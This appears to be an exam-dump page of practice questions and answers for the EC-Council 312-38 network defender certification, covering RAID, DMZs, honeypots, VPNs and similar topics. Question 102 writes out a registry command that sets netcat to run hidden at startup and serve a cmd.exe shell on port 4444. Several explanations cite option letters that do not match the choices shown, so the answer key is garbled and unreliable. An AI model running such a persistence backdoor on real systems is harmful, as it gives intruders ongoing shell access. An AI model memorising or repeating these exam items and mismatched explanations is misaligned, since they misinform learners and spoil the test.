Latest [Nov 13, 2024] 312-38 Exam Questions – Valid 312-38 Dumps Pdf
312-38 Practice Test Questions Answers Updated 359 Questions
The EC-Council Certified Network Defender (CND) certification exam is designed to test the knowledge and skills of IT security professionals who are responsible for protecting and securing networks. 312-38 exam covers a wide range of topics, including network security, network defense and countermeasures, vulnerability assessment and management, and incident response.
NEW QUESTION # 85
Ryan works as a network security engineer at an organization the recently suffered an attack. As a countermeasure, Ryan would like to obtain more information about the attacker and chooses to deploy a honeypot into the organizations production environment called Kojoney. Using this honeypot, he would like to emulate the network vulnerability that was attacked previously. Which type of honeypot is he trying to implement?
- A. Research honeypot
- B. Low-interaction honeypots
- C. High-interaction honeypots
- D. Pure honeypots
Answer: B
Explanation:
A low-interaction honeypot, like Kojoney, is designed to emulate specific network vulnerabilities and gather information about attackers without providing a full-fledged operating environment. These honeypots are typically easier to deploy and maintain compared to high-interaction honeypots. They simulate certain services and responses to attract attackers, allowing the network security team to gather data on attack patterns, tools, and methodologies used by the attackers. This information is crucial for understanding the attack and improving defenses.
* High-interaction honeypots: Provide a complete environment that can fully engage with attackers, offering more detailed insights but also posing higher risks.
* Pure honeypots: Essentially full-scale, unmodified systems that an attacker interacts with.
* Research honeypots: Used primarily for gathering information for research purposes, often involving high-interaction setups.
References:
* EC-Council Certified Network Defender (CND) Study Guide
* Honeypot deployment and management documentation
NEW QUESTION # 86
Which RAID level does not provide data redundancy?
- A. RAID level 50
- B. RAID level 10
- C. RAID level 1
- D. RAID level 0
Answer: D
Explanation:
RAID level 0, also known as striping, involves splitting data evenly across two or more disks without parity information, redundancy, or fault tolerance. This means that if one drive fails, the entire array fails, resulting in total data loss. RAID 0 is typically used to increase performance, as it allows for faster read and write operations by using multiple disks simultaneously. However, because it does not duplicate data across the disks, it does not provide any form of data redundancy1.
References: The explanation aligns with the standard definitions and functionalities of RAID levels as described in various authoritative sources on computer storage and network security, including materials from the EC-Council's Certified Network Defender (CND) course. For the most accurate and detailed information, please refer to the latest CND study materials and documents available through the EC-Council and other reputable sources on RAID technology.
NEW QUESTION # 87
CORRECT TEXT
Fill in the blank with the appropriate term.
A ______________ gateway is a type of network gateway that provides the added capability to control devices across the Internet.
Answer:
Explanation:
home automation
Explanation:
A home automation gateway is a type of network gateway that provides the added capability to control devices across the Internet. Most gateways plug in to the home broadband router (and a wall outlet for power). When connected to a router that has Internet connectivity, the automation gateway helps in enabling computers and Web-enabled phones to remotely access automation devices at home.
NEW QUESTION # 88
Which of the following are valid steps to secure routers? Each correct answer represents a complete solution. Choose all that apply.
- A. Keep routers updated with the latest security updates.
- B. Configure access list entries to prevent unauthorized connections and routing.
- C. Use a password that is easy to remember the router's administrative console.
- D. Use a complex password of the router management console.
Answer: A,B,D
NEW QUESTION # 89
Larry is responsible for the company's network consisting of 300 workstations and 25 servers. After using a hosted email service for a year, the company wants to control the email internally. Larry likes this idea because it will give him more control over the email. Larry wants to purchase a server for email but does not want the server to be on the internal network due to the potential to cause security risks. He decides to place the server outside of the company's internal firewall. There is another firewall connected directly to the Internet that will protect traffic from accessing the email server. The server will be placed between the two firewalls. What logical area is Larry putting the new email server into?
- A. He will put the email server in an IPsec zone.
- B. For security reasons, Larry is going to place the email server in the company's Logical Buffer Zone (LBZ).
- C. Larry is going to put the email server in a hot-server zone.
- D. He is going to place the server in a Demilitarized Zone (DMZ)
Answer: D
Explanation:
Larry is placing the new email server in a Demilitarized Zone (DMZ). A DMZ is a physical or logical subnetwork that contains and exposes an organization's external-facing services to an untrusted network, usually the internet. The purpose of a DMZ is to add an additional layer of security to an organization's local area network (LAN); an external attacker only has access to equipment in the DMZ, rather than any other part of the network. The email server placed in the DMZ can be accessed from the internet, but it does not have direct access to the internal network, which reduces the risk of an internal security breach if the email server is compromised.
NEW QUESTION # 90
CORRECT TEXT
Fill in the blank with the appropriate term. ______________is a method for monitoring the e-mail delivery to the intended recipient.
Answer:
Explanation:
Email tracking
Explanation:
Email tracking is a method for monitoring the e-mail delivery to the intended recipient. Most tracking technologies utilize some form of digitally time-stamped record to reveal the exact time and date at which e-mail was received or opened, as well the IP address of the recipient. When a user uses such tools to send an e-mail, forward an e-mail, reply to an e-mail, or modify an e-mail, the resulting actions and tracks of the original e-mail are logged. The sender is notified of all actions performed on the tracked e-mail by an automatically generated e-mail. eMailTracker Pro and MailTracking.com are the tools that can be used to perform email tracking.
NEW QUESTION # 91
Jason has set a firewall policy that allows only a specific list of network services and deny everything else.
This strategy is known as a____________.
- A. Default deny
- B. Default restrict
- C. Default allow
- D. Default access
Answer: A
NEW QUESTION # 92
Which of the following is the best way of protecting important data against virus attack?
- A. Taking daily backup of data.
- B. Using strong passwords to log on to the network.
- C. Implementing a firewall.
- D. Updating the anti-virus software regularly.
Answer: D
Explanation:
Updating the anti-virus software regularly is the best way of protecting important data against virus attack.
NEW QUESTION # 93
With which of the following flag sets does the Xmas tree scan send a TCP frame to a remote device? Each correct answer represents a part of the solution. Choose all that apply.
- A. PUSH
- B. URG
- C. RST
- D. FIN
Answer: A,B,D
NEW QUESTION # 94
Which of the following is a software tool used in passive attacks for capturing network traffic?
- A. Sniffer
- B. Intrusion detection system
- C. Warchalking
- D. Intrusion prevention system
Answer: A
Explanation:
A sniffer is a software tool that is used to capture any network traffic. Since a sniffer changes the NIC of the LAN card into promiscuous mode, the NIC begins to record incoming and outgoing data traffic across the network. A sniffer attack is a passive attack because the attacker does not directly connect with the target host.
This attack is most often used to grab logins and passwords from network traffic. Tools such as Ethereal, Snort, Windump, EtherPeek, Dsniff are some good examples of sniffers. These tools provide many facilities to users such as graphical user interface, traffic statistics graph, multiple sessions tracking, etc.
Answer option A is incorrect. An intrusion prevention system (IPS) is a network security device that monitors network and/or system activities for malicious or unwanted behavior and can react, in real-time, to block or prevent those activities. When an attack is detected, it can drop the offending packets while still allowing all other traffic to pass.
Answer option B is incorrect. An IDS (Intrusion Detection System) is a device or software application that monitors network and/or system activities for malicious activities or policy violations and produces reports to a Management Station. Intrusion prevention is the process of performing intrusion detection and attempting to stop detected possible incidents. Intrusion detection and prevention systems (IDPS) are primarily focused on identifying possible incidents, logging information about them, attempting to stop them, and reporting them to security administrators.
Answer option C is incorrect. Warchalking is the drawing of symbols in public places to advertise an open Wi-Fi wireless network. Having found a Wi-Fi node, the warchalker draws a special symbol on a nearby object, such as a wall, the pavement, or a lamp post. The name warchalking is derived from the cracker terms war dialing and war driving.
NEW QUESTION # 95
A newly joined network administrator wants to assess the organization against possible risk. He notices the organization doesn't have a________identified which helps measure how risky an activity is.
- A. Risk Severity
- B. Risk Matrix
- C. Risk levels
- D. Key Risk Indicator
Answer: B
Explanation:
A Risk Matrix is a tool used to define and prioritize risks. It helps in assessing the likelihood of an event occurring and the impact it would have on the organization, thus measuring how risky an activity is. By not having a Risk Matrix, the network administrator lacks a structured approach to identify, assess, and prioritize risks, which is crucial for effective risk management.
NEW QUESTION # 96
Which of the following types of RAID is also known as disk striping?
- A. RAID 0
- B. RAID 2
- C. RAID 1
- D. RAID 3
Answer: A
NEW QUESTION # 97
In which of the following transmission modes is communication uni-directional?
- A. Root mode
- B. Half-duplex mode
- C. Simplex mode
- D. Full-duplex mode
Answer: C
NEW QUESTION # 98
If Myron, head of network defense at Cyberdyne, wants to change the default password policy settings on the company's Linux systems, which directory should he access?
- A. /etc/crontab
- B. /etc/login.defs
- C. /etc/logrotate.conf
- D. /etc/hosts.allow
Answer: B
Explanation:
The /etc/login.defs file in Linux systems contains the configuration for user login settings, which includes the default password policy settings. This file is used to control several aspects of user management, including password requirements such as password aging, password length, and password complexity. When the head of network defense, like Myron, wants to change these settings, he would access and modify the /etc/login.defs file to implement the new password policies across the company's Linux systems.
NEW QUESTION # 99
Which of the following router configuration modes changes terminal settings on a temporary basis, performs basic tests, and lists system information?
- A. User EXEC
- B. Interface Config
- C. Privileged EXEC
- D. Global Config
Answer: A
Explanation:
User EXEC is one of the router configuration modes that changes terminal settings on a temporary
basis, performs basic tests, and lists system information.
Answer option C is incorrect. Privileged EXEC sets operating parameters.
Answer option A is incorrect. Global Config modifies configuration that affects the system as a
whole.
Answer option B is incorrect. Interface Config modifies the operation of an interface.
NEW QUESTION # 100
Which of the following is a distributed application architecture that partitions tasks or workloads between service providers and service requesters? Each correct answer represents a complete solution. Choose all that apply.
- A. Client-server computing
- B. Peer-to-peer networking
- C. Client-server networking
- D. Peer-to-peer (P2P) computing
Answer: A,C
Explanation:
Explanation/Reference:
Explanation:
Client-server networking is also known as client-server computing. It is a distributed application architecture that partitions tasks or workloads between service providers (servers) and service requesters, called clients.
Often clients and servers operate over a computer network on separate hardware. A server machine is a high- performance host that is running one or more server programs which share its resources with clients. A client does not share any of its resources, but requests a server's content or service function. Clients therefore initiate communication sessions with servers which await (listen to) incoming requests.
Answer options D and B are incorrect. Peer-to-peer (P2P) computing or networking is a distributed application architecture that partitions tasks or workloads between peers. Peers are equally privileged, equipotent participants in the application. They are said to form a peer-to-peer network of nodes. Peer-to-peer networking (also known simply as peer networking) differs from client-server networking, where certain devices have the responsibility to provide or "serve" data, and other devices consume or otherwise act as "clients" of those servers.
NEW QUESTION # 101
Rick has implemented several firewalls and IDS systems across his enterprise network. What should he do to effectively correlate all incidents that pass through these security controls?
- A. Use Network Time Protocol (NTP)
- B. Implement Simple Network Management Protocol (SNMP)
- C. Use firewalls in Network Address Transition (NAT) mode
- D. Implement IPsec
Answer: A
Explanation:
To effectively correlate incidents across various security controls like firewalls and IDS systems, it is essential to ensure that the timestamps of logs and events are synchronized. This is where Network Time Protocol (NTP) comes into play. NTP ensures that all devices on the network are on the same time setting, which is crucial for event correlation. Without synchronized time settings, it would be challenging to establish a timeline of events and understand the sequence in which they occurred, making incident response and forensic analysis more difficult.
References: The importance of using NTP for incident correlation is well-documented in network security best practices and is also highlighted in the EC-Council's Certified Network Defender (CND) course materials. The CND course emphasizes the role of NTP in maintaining accurate time stamps across network devices for effective security incident management and analysis.
NEW QUESTION # 102
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t
REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?Each correct answer represents a complete solution. Choose all that apply.
- A. You want to perform banner grabbing.
- B. You want to put Netcat in the stealth mode.
- C. You want to add the Netcat command to the Windows registry.
- D. You want to set the Netcat to execute command any time.
Answer: B,C,D
NEW QUESTION # 103
Which of the following is a type of VPN that involves a single VPN gateway?
- A. Extranet-based VPN
- B. PPTP VPN
- C. Remote-access VPN
- D. Intranet-based VPN
Answer: A
Explanation:
Explanation/Reference:
NEW QUESTION # 104
Which of the following IEEE standards is also called Fast Basic Service Set Transition?
- A. 802.11b
- B. 802.11r
- C. 802.11e
- D. 802.11a
Answer: B
NEW QUESTION # 105
You are advising a school district on disaster recovery plans. In case a disaster affects the main IT centers for the district they will need to be able to work from an alternate location. However, budget is an issue. Which of the following is most appropriate for this client?
- A. Off site
- B. Hot site
- C. Cold site
- D. Warm site
Answer: C
Explanation:
A cold site provides an office space, and in some cases basic equipment. However, you will need to restore your data to that equipment in order to use it. This is a much less expensive solution than the hot site. Answer option C is incorrect. A hot site has equipment installed, configured and ready to use. This may make disaster recovery much faster, but will also be more expensive. And a school district can afford to be down for several hours before resuming IT operations, so the less expensive option is more appropriate. Answer option A is incorrect. A warm site is between a hot and cold site. It has some equipment ready and connectivity ready. However, it is still significantly more expensive than a cold site, and not necessary for this scenario. Answer option D is incorrect. Off site is not any type of backup site terminology.
NEW QUESTION # 106
Which of the following is a non-profit organization that oversees the allocation of IP addresses, management of the DNS infrastructure, protocol parameter assignment, and root server system management?
- A. ANSI
- B. IEEE
- C. ICANN
- D. ITU
Answer: C
Explanation:
ICANN stands for Internet Corporation for Assigned Names and Numbers. ICANN is responsible for managing the assignment of domain names and IP addresses. ICANN's tasks include responsibility for IP address space allocation, protocol identifier assignment, top-level domain name system management, and root server system management functions. Internet Corporation for Assigned Names and Numbers (ICANN) is a non-profit organization that oversees the allocation of IP addresses, management of the DNS infrastructure, protocol parameter assignment, and root server system management.
Answer option B is incorrect. Institute of Electrical and Electronics Engineers (IEEE) is an organization of engineers and electronics professionals who develop standards for hardware and software.
Answer option C is incorrect. The International Telecommunication Union is an agency of the United Nations which regulates information and communication technology issues. ITU coordinates the shared global use of the radio spectrum, promotes international cooperation in assigning satellite orbits, works to improve telecommunication infrastructure in the developing world and establishes worldwide standards. ITU is active in areas including broadband Internet, latest-generation wireless technologies, aeronautical and maritime navigation, radio astronomy, satellite-based meteorology, convergence in fixed-mobile phone, Internet access, data, voice, TV broadcasting, and next-generation networks.
Answer option A is incorrect. ANSI (American National Standards Institute) is the primary organization for fostering the development of technology standards in the United States. ANSI works with industry groups and is the U.S. member of the International Organization for Standardization (ISO) and the International Electrotechnical Commission (IEC). Long-established computer standards from ANSI include the American Standard Code for Information Interchange (ASCII) and the Small Computer System Interface (SCSI).
NEW QUESTION # 107
Which of the following tools examines a system for a number of known weaknesses and alerts the administrator?
- A. Nessus
- B. COPS
- C. SAINT
- D. SATAN
Answer: B
NEW QUESTION # 108
......
312-38 dumps Sure Practice with 359 Questions: https://prep4sure.real4dumps.com/312-38-prep4sure-exam.html
